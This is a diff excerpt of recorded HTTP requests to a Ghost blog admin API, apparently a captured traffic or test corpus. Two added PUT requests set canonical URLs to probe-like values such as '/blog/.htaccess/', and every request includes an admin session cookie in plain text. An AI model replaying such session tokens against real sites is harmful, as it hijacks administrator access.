+{"method": "PUT", "target": "/ghost/api/admin/posts/6af55c6acabfa10001d9ab13/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A_6WRhRlczcPvQyJRNDlfKXwlWZo5DtwJ.eU15KVWcbOhILispD8u5d%2BoWy2JZmWJYqiMV8oPhT6s"], "body": "{\"posts\":[{\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af55c6acabfa10001d9ab13\",\"updated_at\":\"2026-11-12T06:27:54.000Z\"}]}"}
+{"method": "PUT", "target": "/ghost/api/admin/pages/6af55c6acabfa10001d9ab17/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 139", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A_6WRhRlczcPvQyJRNDlfKXwlWZo5DtwJ.eU15KVWcbOhILispD8u5d%2BoWy2JZmWJYqiMV8oPhT6s"], "body": "{\"pages\":[{\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af55c6acabfa10001d9ab17\",\"updated_at\":\"2026-11-12T06:27:54.000Z\"}]}"}
 {"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
 {"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
 {"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}